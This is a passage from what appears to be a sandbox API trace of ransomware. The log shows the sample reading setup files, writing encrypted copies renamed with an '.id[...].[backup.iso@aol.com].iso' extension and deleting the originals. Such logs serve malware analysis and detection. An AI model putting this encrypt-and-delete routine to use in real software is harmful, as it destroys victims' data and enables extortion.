"c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1 [0095.354] SetEvent (hEvent=0x2cc) returned 1 [0095.355] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0095.357] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=8876) returned 1 [0095.357] CloseHandle (hObject=0x330) returned 1 [0095.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0095.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0095.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0095.357] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0095.358] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0095.358] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0095.358] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x304 [0095.387] ReadFile (in: hFile=0x330, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x22ac, lpOverlapped=0x0) returned 1 [0095.390] WriteFile (in: hFile=0x304, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x22b0, lpOverlapped=0x0) returned 1 [0095.391] WriteFile (in: hFile=0x304, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0095.392] CloseHandle (hObject=0x330) returned 1 [0095.392] CloseHandle (hObject=0x304) returned 1 [0095.393] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1 [0095.394] SetEvent (hEvent=0x2cc) returned 1 [0095.395] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0095.395] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=86284) returned 1 [0095.395] CloseHandle (hObject=0x304) returned 1 [0095.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0095.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0095.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0095.395] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0095.396] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0095.396] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0095.396] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0095.396] ReadFile (in: hFile=0x304, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x1510c, lpOverlapped=0x0) returned 1 [0095.403] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x15110, lpOverlapped=0x0) returned 1 [0095.408] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0095.408] CloseHandle (hObject=0x304) returned 1 [0095.409] CloseHandle (hObject=0x330) returned 1 [0095.669] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0095.672] SetEvent (hEvent=0x2cc) returned 1 [0095.673] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0095.673] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=3188) returned 1 [0095.673] CloseHandle (hObject=0x328) returned 1 [0095.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0095.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0095.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0095.674] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0095.674] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0095.674] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0095.674] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x324 [0095.677] ReadFile (in: hFile=0x328, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0xc74, lpOverlapped=0x0) returned 1 [0095.801] WriteFile (in: hFile=0x324, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xc80, lpOverlapped=0x0) returned 1 [0095.802] WriteFile (in: hFile=0x324, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0095.802] CloseHandle (hObject=0x328) returned 1 [0095.802] CloseHandle (hObject=0x324) returned 1 [0095.805] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1 [0095.806] SetEvent (hEvent=0x2cc) returned 1 [0095.806] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0095.806] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=77232) returned 1 [0095.806] CloseHandle (hObject=0x324) returned 1 [0095.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0095.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80 [0095.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0095.806] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0095.807] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0095.807] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0095.807] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0095.807] ReadFile (in: hFile=0x324, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x12db0, lpOverlapped=0x0) returned 1 [0095.827] WriteFile (in: hFile=0x328, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x12dc0, lpOverlapped=0x0) returned 1 [0095.830] WriteFile (in: hFile=0x328, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0095.830] CloseHandle (hObject=0x324) returned 1 [0095.830] CloseHandle (hObject=0x328) returned 1 [0095.834] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1 [0095.836] SetEvent (hEvent=0x2cc) returned 1 [0095.836] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0095.837] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=3702) returned 1 [0095.837] CloseHandle (hObject=0x328) returned 1 [0095.837] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0095.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0095.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0095.838] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0095.838] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0095.838] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0095.838] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0095.849] ReadFile (in: hFile=0x328, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0xe76, lpOverlapped=0x0) returned 1 [0095.854] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xe80, lpOverlapped=0x0) returned 1 [0095.856] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0095.856] CloseHandle (hObject=0x328) returned 1 [0095.856] CloseHandle (hObject=0x330) returned 1 [0095.864] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1 [0095.866] SetEvent (hEvent=0x2cc) returned 1 [0095.866] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0095.866] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=18264) returned 1 [0096.298] CloseHandle (hObject=0x330) returned 1 [0096.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0096.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0096.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0096.298] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0096.299] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0096.299] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0096.299] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c8 [0096.299] ReadFile (in: hFile=0x330, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x4758, lpOverlapped=0x0) returned 1 [0096.302] WriteFile (in: hFile=0x2c8, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x4760, lpOverlapped=0x0) returned 1 [0096.305] WriteFile (in: hFile=0x2c8, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0096.305] CloseHandle (hObject=0x330) returned 1 [0096.305] CloseHandle (hObject=0x2c8) returned 1 [0096.307] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1 [0096.309] SetEvent (hEvent=0x2cc) returned 1 [0096.310] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0096.311] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=82962) returned 1 [0096.311] CloseHandle (hObject=0x2c8) returned 1 [0096.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0096.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0096.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0096.311] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0096.312] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0096.312] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0096.312] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0096.312] ReadFile (in: hFile=0x2c8, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x14412, lpOverlapped=0x0) returned 1 [0096.434] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x14420, lpOverlapped=0x0) returned 1 [0096.438] WriteFile (in: hFile=0x330, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x102, lpOverlapped=0x0) returned 1 [0096.438] CloseHandle (hObject=0x2c8) returned 1 [0096.438] CloseHandle (hObject=0x330) returned 1 [0096.456] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0096.459] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0096.459] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=6851) returned 1 [0096.459] CloseHandle (hObject=0x330) returned 1 [0096.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0096.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0096.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso")) returned 0xffffffff [0096.460] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0096.460] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0096.460] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325f748 | out: lpNewFilePointer=0x0) returned 1 [0096.460] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf.id[B4197730-2589].[backup.iso@aol.com].iso" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id[b4197730-2589].[backup.iso@aol.com].iso"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0096.574] ReadFile (in: hFile=0x330, lpBuffer=0x394c020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x325f754, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesRead=0x325f754*=0x1ac3, lpOverlapped=0x0) returned 1 [0096.576] WriteFile (in: hFile=0x328, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0x1ad0, lpOverlapped=0x0) returned 1 [0096.579] WriteFile (in: hFile=0x328, lpBuffer=0x394c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x325f738, lpOverlapped=0x0 | out: lpBuffer=0x394c020*, lpNumberOfBytesWritten=0x325f738*=0xf2, lpOverlapped=0x0) returned 1 [0096.579] CloseHandle (hObject=0x330) returned 1 [0096.579] CloseHandle (hObject=0x328) returned 1 [0096.582] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1 [0096.584] SetEvent (hEvent=0x2cc) returned 1 [0096.584] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0096.586] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x325f780 | out: lpFileSize=0x325f780*=16728) returned 1 [0096.586] CloseHandle (hObject=0x328) returned 1 [0096.586] GetFileAttributesW 